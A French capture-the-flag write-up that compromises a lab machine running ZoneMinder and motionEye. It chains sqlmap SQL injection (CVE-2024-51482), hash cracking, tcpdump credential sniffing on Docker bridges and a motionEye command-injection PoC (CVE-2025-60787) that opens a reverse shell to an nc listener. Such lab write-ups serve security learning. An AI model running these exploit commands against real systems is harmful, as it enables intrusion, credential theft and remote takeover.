CCTV

2026-03-21easylinux#zoneminder#cve-2024-51482#sqli#sqlmap#bcrypt#john-the-ripper#docker#tcpdump#motioneye#cve-2025-60787#port-forwarding#reverse-shell#credential-leak

Cette machine enchaîne une injection SQL sur un système de vidéosurveillance, une écoute de trafic Docker interne pour récupérer des credentials, et une RCE via une interface de gestion de caméras.

Données :

  • Mon IP : 10.10.15.10
  • IP cible : 10.129.14.106

Analyse et énumération

nmap -sV -R -v -oA scan 10.129.14.106

Je découvre deux ports ouverts : 22 (SSH) et 80 (HTTP). J'ajoute le domaine dans /etc/hosts :

10.129.14.106 cctv.htb

Le site expose une instance ZoneMinder, un système de vidéosurveillance open source. Je me connecte avec les credentials par défaut : admin:admin.

Exploitation — CVE-2024-51482 : SQL Injection ZoneMinder

La version détectée est v1.37.63, vulnérable au CVE-2024-51482 (CVSS : 9.9), une injection SQL authentifiée.

Je récupère mon cookie de session ZMSESSID depuis le navigateur et lance sqlmap pour énumérer les bases de données :

sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \ --cookie="ZMSESSID=8sv9g600kpdkjo770tcrl3sekv" \ -p tid --dbms=mysql --batch --dbs

Liste des bases de données

Je cible ensuite la base zm, table Users, pour récupérer les noms d'utilisateurs :

sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \ --cookie="ZMSESSID=8sv9g600kpdkjo770tcrl3sekv" \ -p tid --dbms=mysql --batch -D zm -T Users -C "Username" --dump

Liste des users

Trois comptes sont découverts : admin, mark, superadmin.

Je récupère le hash du mot de passe de mark :

sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \ --cookie="ZMSESSID=8sv9g600kpdkjo770tcrl3sekv" \ -p tid --dbms=mysql --batch -D zm -T Users -C "Password" --where="Username='mark'" --dump

Mot de passe

Le hash bcrypt récupéré :

$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.

Crack du hash — accès SSH

Je crack le hash avec John the Ripper :

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Le mot de passe est trouvé : opensesame.

Je me connecte en SSH :

ssh mark@cctv.htb

Pivot vers sa_mark — écoute du trafic Docker

Une fois dans la machine, mark n'a pas de droits sudo et le flag user.txt n'est pas dans son home. Je remarque un second utilisateur : sa_mark.

L'analyse réseau avec ifconfig révèle plusieurs interfaces Docker bridge (br-, veth), confirmant une stack containerisée. Je surveille le trafic sur ces interfaces :

tcpdump -i br-1b6b4b93c636 -nn -A

Le trafic interne expose des credentials en clair :

USERNAME=sa_mark;PASSWORD=X1l9fx1ZjS7RZb;CMD=status

Je pivote vers sa_mark :

su - sa_mark # Password: X1l9fx1ZjS7RZb

Je récupère le flag utilisateur.

Exploitation — CVE-2025-60787 : RCE motionEye

L'énumération des ports locaux révèle plusieurs services internes :

netstat -tulnp

Résultat du netstat

Le port 8765 retient mon attention. Je le forwarde vers ma machine via SSH :

ssh -L 8765:127.0.0.1:8765 mark@cctv.htb

En accédant à http://localhost:8765, je découvre motionEye v0.43.1b4, une interface de gestion de caméras IP.

Cette version est vulnérable au CVE-2025-60787, une command injection dans les champs de configuration — les valeurs sont écrites directement dans les fichiers de config de Motion sans sanitisation, et exécutées au redémarrage du processus.

Je me connecte avec admin:X1l9fx1ZjS7RZb (credentials récupérés via tcpdump) et lance le PoC :

# Listener nc -lvnp 4444 # Exploit python3 CVE-2025-60787.py revshell \ --url 'http://127.0.0.1:8765' \ --user 'admin' \ --password 'X1l9fx1ZjS7RZb' \ -i 10.10.15.10 \ --port 4444

Reverse shell réussi

J'obtiens un reverse shell en tant que root et récupère le flag root.